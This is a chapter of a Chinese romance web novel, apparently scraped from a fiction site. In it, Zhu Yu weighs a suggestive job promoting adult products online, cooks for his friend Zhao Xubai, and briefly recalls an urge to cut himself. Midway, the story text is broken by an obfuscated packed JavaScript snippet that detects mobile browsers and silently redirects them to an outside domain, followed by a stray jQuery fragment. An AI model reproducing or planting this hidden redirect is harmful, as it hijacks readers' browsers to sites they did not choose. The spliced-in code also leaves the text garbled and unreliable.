16.第 16 章
作品:《熟人作案》 “磨得了。”
祝宇坚持道:“眼睛红就是磨得了,难受。”
他窝在客厅的沙发上,仰着下巴颏,让赵叙白帮他摘美瞳,屋里暖和,祝宇进来就先脱了羽绒服,里面穿了件毛衣,浅色的,领口洗得稍微有些变形,显得很柔软。
不知怎么的,突然想起自己刚住进来那会,有次他咳嗽了,也是同样的位置和姿势,赵叙白弯腰,用手背贴住他的额头。
“笑什么呢?”赵叙白洗完手过来,顺便弹了下他的脑门。
祝宇摇摇头:“没什么。”
赵叙白说:“这么晚了别走了,赶紧休息吧。”
祝宇说了个行,又问:“你还没跟我说,找我什么事?”
“没什么,”赵叙白笑笑,“就是我今天排骨汤做的不错,想着叫你一起吃。”
他这样一说,祝宇想起来了,前两周下雪,赵叙白生病发烧,提了嘴自己最近在学做饭,然后接到了奶奶住院的电话,祝宇就把这茬忘了。
“怎么样了啊,”祝宇一骨碌坐起来,“你烧退了吗?”
赵叙白看了他一眼:“没。”
祝宇哽了下,反应过来了,这要是能连着烧十来天,赵叙白也别在家待了,早去医院了,他重新躺回沙发:“那你继续烧着吧。”
这个“烧”被他咬得有点重,故意的。
赵叙白给他拿了俩蒸汽眼罩,说睡前敷一下眼睛,舒服,祝宇点头,接过了。
但他没睡,本来觉就少,现在的作息也颠倒着,所以回卧室后就躺在床上,点开那个刚加上的助播头像。
昵称是个英文名,叫米娅,朋友圈是半年可见,都是些直播和选品的内容,没任何私人的生活痕迹,祝宇翻了会儿,返回去,发了条消息:“你好。”
他没发语音,打的文字:“我想问一下具体的工作流程,以及,为什么是针对同性群体的?”
刚才在外面,祝宇就注意到这个词了,他本人倒是没什么偏见,以前在酒吧打工的时候,见过不少恩爱的同性恋人。
米娅几乎是秒回的,还是语音消息:“我们这边的博主主要做小玩具测评方向,账号定位非常垂直,文案团队会全程负责,你的话,只需要配合拍些生活化的自拍照片,公司有专门的账号孵化计划,等几个平台的粉丝量达到规模后,咱就可以接品牌带货和广告合作,佣金分成是三七开。”
“现在的成人用品市场,女生这边的主播已经多到卷不动了,但男的完全就是另一回事,比如像小某书这样的平台,男的基本不会主动搜怎么取悦自己,他们的消费习惯特别直接,兴致来了就打,有需求就下单,完事了就走人,商业价值太有限了……啧。”
这段话语气实在专业,仿佛讨论天气般理所当然,只在最后那个尾音流露出点感情色彩,像是嫌弃。
祝宇倒是没不自在,反而有些想笑:“所以,目标群体就是同性?”
“是,”米娅说,“你形象挺适合的,这个赛道现在做的人少,流量成本低,龙总的朋友刚开始做这个产品,进场正合适。”
祝宇往脑后塞了个靠枕,坐起来了点:“但我不是同性恋。”
米娅回复:“不重要。”
又聊了会薪资佣金,祝宇心里大致有数了,这活儿算不上正经八百的全职,倒像是件捎带手的差事,用零碎时间就能应付,这样一来,便利店的夜班不用辞,住处也不用重新寻,还挺划算。
米娅问:“你还有什么问题吗?”
“目前没有,”祝宇回答,“或者签合同的时候我再问问,谢谢姐。”
“你考虑清楚就好,虽然不露全脸,但属于一定程度上的擦边,带的货比较敏感,后台也会有不少骚扰私信,要有心理准备。”
祝宇笑笑,很大方:“我没问题。”
那边倒是没秒回,显示“信息正在输入中”,过了两三分钟,才出现一句:“你用过小玩具吗?”
祝宇咳嗽了一声:“没。”
这次,米娅发来的语音带了笑意:“没事,这个上手很快的。”
约的签合同时间是后天,祝宇不着急,趁着夜深人静,按照关键词搜了点东西,别说,还真给他看脸红了,心跳有些快。
祝宇的欲望不是特别强烈,像秋后的溪水,很清浅,主要是少年时期太过忙碌,全部的精力都用在了奔波上,没什么心思来自我纾解,偶尔梦里有过旖旎,醒来太阳一照,就消散了。
他“啪”地一声,把手机丢旁边了,自嘲地扯了下嘴角,笑自己故作纯情。
扯淡么,都没看见啥,就激动成这样,丢人。
第二天早上,俩人在屋里简单吃了点,吃完饭,赵叙白站在镜子前给自己系领带,手指翻折,视线轻轻地扫过来:“想什么呢?”
祝宇一个激灵:“没,我没。”
赵叙白动作不紧不慢:“你眼神直勾勾的。”
祝宇没法儿接了,笑着捂住脸:“你这人……”
还真不是赵叙白冤枉他,昨晚查东西的时候,商品介绍里有条银灰蕾丝的项圈,很暧昧,暗示的意味特别强,模特颈侧留的红痕,仿佛情动时被牙齿轻咬过,而正好赵叙白系了同样颜色的领带,一下子让他想起来了。
丝绸,捆绑,禁欲系……这些带着情-欲暗示的关键词,此刻都停留在赵叙白喉结下方,那个仍未系紧的领结里。
“喜欢这条吗,”赵叙白转身,后腰靠在鞋柜上,“送你了。”
祝宇连连摆手:“别别别,我不要。”
“嫌弃我?”
“没……哎呀你别逗我。”
赵叙白浅浅地笑了,从衣架上取下外套:“中午我想吃炒土豆丝。”
祝宇抬头:“啊?”
“今天上午应该结束早,”赵叙白继续,“我回来吃饭。”
他上班的医院的确离家不远,但祝宇还是没反应过来,愣愣地看着对方。
赵叙白柔声道:“你是晚上的班,白天就别走了,再休息会吧,我看你昨晚都没怎么睡。”
祝宇摸了下耳垂:“没啊,我睡得挺好的。”
赵叙白说:“是吗,我睡得不好。”
人都走了好一会,祝宇才坐回沙发,使劲儿搓了搓自己的脸。
不知怎么的,刚才赵叙白交代的这一句,居然让他有种错觉,像是工作的丈夫在嘱咐新婚的妻子,说自己喜欢什么食物。
“……靠!”祝宇站起来,被这个想法尬到对着空气邦邦打拳,打了会想起来屋里有监控,蹭地一下又坐回去了。
算了,爱咋咋地吧,反正就是给朋友做顿饭的事。
但祝宇已经很久没去过菜市场,或者超市了。
刚才他也说了,问冰箱里有土豆吗,赵叙白说没,祝宇说那你吃个屁啊,赵叙白说没关系我有钱,咱去外面买,给你发红包。
犹豫了一会儿后,祝宇拿起手机,把那个红包点了。
……五块。
还真是一袋土豆的价钱。
屋里就剩他一个人,很安静,祝宇躺在沙发上睡了会儿,冬日的阳光照在身上,暖洋洋的,晒得皮肤发烫。
拿着赵大夫给的红包,祝宇没去大超市,进了小区门口一家生鲜店,挑了几颗小土豆,硬是凑够数,把五块钱全花出去了。
回来后,冰箱里有西红柿和鸡蛋,还有昨晚炖的排骨汤,祝宇不用大费周章,简单炒俩菜就行,他把米饭蒸上,看着菜板上的刀,不动了。
他之前跟赵叙白说过,自己很久不做饭,都忘记怎么炒菜了,这句话不是假的,因为祝宇记不太清,从什么时候开始,他看见厨房里的刀,就很想给自己来一下。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16468843|184668||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
似乎刀口上悬着点透明的丝线,一寸寸绕过遮挡的腕表,贴住他的手腕,往疤痕上缠。
祝宇打开水龙头,洗了把脸。
再扬起头的时候,视线明亮了许多,他下巴绷得很紧,仰得高高的,细小的水珠顺着脖颈下滑,被祝宇抬手抹了。
而这下,就把那刀看清楚了。
赵叙白居然童心未泯,在菜刀的把手上贴了画,还是当初祝宇在田逸飞工作室拍的,这人搞艺术做周边,印了照片和贴纸,离开的时候问他们要不要,祝宇没回答呢,赵叙白就顺了一大兜。
中午,赵叙白拎着水果回来了,进门就叫手疼,说是科室同事送的,吃不完。
嚷嚷了两句,见祝宇没搭理他,这才顿了下,立马往厨房那边跑,门一推,祝宇扭脸看他:“……啊?”
“开着抽油烟机呢,”祝宇抬高音量,“你这个太吵了,都不静音啊。”
赵叙白胸口起伏着,喉结滚动:“我、我换个新的。”
祝宇笑着:“不用,将就着吧。”
他系了条围裙,有点松,飘带在身后轻轻晃着,像不安分的尾巴,最终停留在膝窝的位置,厨房里是番茄炒蛋的香味,金黄的蛋液混着番茄,在热油里滋啦作响,祝宇一边翻炒收汁,一边叫着赵叙白:“去洗手,然后盛饭。”
赵叙白说:“哎。”
说完了,人没动,就这样定定地看着祝宇,祝宇忙着炒菜,没回头,又催了一遍,对方才如梦初醒似的,慌乱地转身走了。
“出息,”祝宇笑话人家,“馋成这样。”
他对自己今天做的饭很满意,端出去后,破天荒地让手机先吃——拿着拍了好几张照片,炒土豆丝,番茄鸡蛋,还有昨晚的排骨汤,热气腾腾,色泽和香味都不错,看着很有食欲。
赵叙白递过去双筷子:“能吃了吗?”
祝宇把手机放下:“吃呗。”
“我刷碗,”赵叙白主动开口,“然后,我能申请个事吗,咱俩搭个伙吃饭吧,我实在不想吃医院食堂了,你都不知道中午电梯有多挤。”
祝宇问:“哎,你们没专属电梯?”
赵叙白语气平静:“没有,也没同事帮我捎,人家都出去吃,或者是家属过来送。”
“真的假的,”祝宇有点愣,“那你这太惨了。”
赵叙白说:“是啊,所以你还住这里,好不好?”
祝宇说:“这不行。”
他把筷子放下,笑着摇了摇头:“我找了个兼职,在你这不方便。”
其实按祝宇的想法,赵叙白会跟着问一句,怎么不方便,然后他再回,特别不方便,几句插科打诨下来,就把这事说了,毕竟露一点脸,真被朋友们看到,还是会被认出来的。
他不觉得丢人,都说了挣钱嘛,不寒碜,谁比谁高贵多少,所以准备顺着话音,给赵叙白透个底儿,说朋友我以后也要换赛道了,成为一名擦边小网红,合法正常的啊。
但赵叙白没有追问,只是看着他,语气很轻:“知道了。”
祝宇:“哎?”
“没什么不方便的,”赵叙白吃得差不多了,在医院养成的习惯,吃饭快,“不管是什么兼职,你想在我这做,可以,不想在这,也没关系。”
他抽了张湿巾擦手:“反正你在我这里,永远不会不方便。”
安静片刻,祝宇把筷子拿起来,又开始闷头吃了,扒拉了好一会饭都没敢抬头,他自己都说不上来,这种莫名的心虚是从哪儿来的,就觉得心跳得有点快,不自在。
赵叙白还在擦手,不紧不慢,他手指本来就长得漂亮,长,形状好,天生就是弹钢琴或者拿手术刀的手,但这会动作太仔细了,仿佛身处凶案现场,正认真处理手上未干涸的血迹。
而他的视线,则一直落在祝宇微红的耳垂上。